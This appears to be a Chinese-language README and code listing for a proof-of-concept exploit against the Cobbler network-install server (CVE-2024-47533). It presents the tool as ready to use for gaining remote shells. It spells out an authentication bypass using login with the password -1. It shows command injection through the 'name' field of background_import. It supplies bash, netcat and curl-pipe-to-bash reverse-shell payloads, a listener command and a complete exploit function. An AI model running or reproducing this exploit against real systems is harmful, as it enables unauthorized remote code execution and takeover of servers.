CVE-2024-47533:Cobbler XMLRPC 认证绕过与远程代码执行 (RCE) 利用工具
该项目提供了一个针对Cobbler网络安装服务器中严重安全漏洞的概念验证(PoC)利用脚本。该漏洞允许远程、未认证的攻击者绕过身份验证,并在目标服务器上执行任意系统命令,最终获得反向 Shell 访问权限。
功能特性
- 认证绕过:利用
utils.get_shared_secret()函数始终返回-1的缺陷,使用空用户名和密码-1绕过 XMLRPC 接口的身份验证。 - 远程代码执行:通过
background_import方法,在name参数中注入恶意命令,实现任意系统命令执行。 - 多种反向Shell载荷:
- Bash:标准的 Bash 反向Shell。
- Netcat (nc):使用 Netcat 创建反向Shell。
- Curl:通过 Curl 下载并执行远程恶意脚本。
- 简单易用的命令行接口:通过参数指定目标、监听地址、端口和载荷类型,快速发起攻击。
安装指南
系统要求
- Python 3.x
- 目标 Cobbler 服务器版本:3.0.0 至 3.2.3(不含)或 3.3.0 至 3.3.7(不含)
依赖项
该脚本仅使用了Python标准库,无需安装额外依赖。
# 克隆或下载脚本后,直接运行即可
python3 CVE-2024-47533.py -h
使用说明
基础用法
- 启动监听器:在攻击者机器上使用 Netcat 监听一个端口,等待反向连接。
nc -lvnp 4444
- 运行漏洞利用脚本
python3 CVE-2024-47533.py -t <目标URL> -l <你的IP> -p <监听端口> --payload <载荷类型>
参数说明
| 参数 | 描述 | 示例 |
|---|---|---|
-t, --target | 目标 Cobbler XMLRPC 接口的完整 URL | https://192.168.1.100:25151/cobbler_api |
-l, --lhost | 用于接收反向 Shell 的本地 IP 地址 | 10.10.15.16 |
-p, --lport | 用于接收反向 Shell 的本地端口 | 4444 |
--payload | 载荷类型,可选 bash, nc, curl | bash |
使用场景示例
场景一:使用 Bash 反向 Shell
python3 CVE-2024-47533.py -t http://192.168.1.50:25151 -l 10.10.15.16 -p 4444 --payload bash
场景二:使用 Netcat 载荷
python3 CVE-2024-47533.py -t https://target.domain.com:25151/cobbler_api -l 10.10.15.16 -p 9999 --payload nc
场景三:使用 Curl 下载并执行脚本
假设你在 http://10.10.15.16/rev.sh 上托管了一个反向 Shell 脚本。
python3 CVE-2024-47533.py -t http://192.168.1.50:25151 -l 10.10.15.16 -p 8080 --payload curl
核心代码
该项目的核心是利用 XMLRPC 客户端的 background_import 方法进行命令注入。以下是关键部分的分析和代码片段。
1. 认证绕过与匿名连接
脚本尝试先使用空用户名和密码 -1 调用 login 方法。如果失败(通常会失败),则继续以匿名模式(无 token)进行后续操作。
# 尝试认证,但漏洞允许匿名访问
try:
token = conn.login("", -1)
print("[+] Login success!")
except:
token = None
print("[-] Login bypass (anonymous)")
2. 恶意载荷构建
构建一个包含命令注入的 import_data 字典。命令被包裹在 $() 中,以便在目标系统上执行。
# 根据不同载荷类型生成要执行的命令
payloads = {
"bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
"nc": f"nc -e /bin/bash {lhost} {lport}",
"curl": f"curl http://{lhost}/rev.sh | bash"
}
payload = payloads.get(payload_type, payloads["bash"])
# 将恶意命令注入到 'name' 字段中
import_data = {
"path": "~/tmp",
"name": f"$({payload})"
}
3. 完整利用函数
exploit 函数是整个流程的核心,包含了连接、认证、构造载荷和发送请求的所有步骤。
def exploit(target, lhost, lport, payload_type):
payloads = {
"bash": f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
"nc": f"nc -e /bin/bash {lhost} {lport}",
"curl": f"curl http://{lhost}/rev.sh | bash"
}
payload = payloads.get(payload_type, payloads["bash"])
print(f"[*] Target: {target}")
print(f"[*] Listener: {lhost}:{lport}")
print(f"[*] Payload type: {payload_type}")
try:
# 创建XMLRPC代理,忽略SSL证书验证(针对HTTPS目标)
conn = xmlrpc.client.ServerProxy(
target,
context=ssl._create_unverified_context(),
allow_none=True
)
print("[*] Trying to authenticate...")
try:
token = conn.login("", -1)
print("[+] Login success!")
except:
token = None
print("[-] Login bypass (anonymous)")
# 构造包含命令注入的数据
import_data = {
"path": "~/tmp",
"name": f"$({payload})"
}
print("[*] Sending exploit...")
# 根据是否有token发送请求
if token:
result = conn.background_import(import_data, token)
else:
result = conn.background_import(import_data)
print("[+] Exploit sent. Check your listener (nc -lvnp PORT)")
return True
except Exception as e:
print(f"[-] Exploit failed: {e}")
return False
6HFtX5dABrKlqXeO5PUv/xLqIypGRe3WOBp6iItfBGY=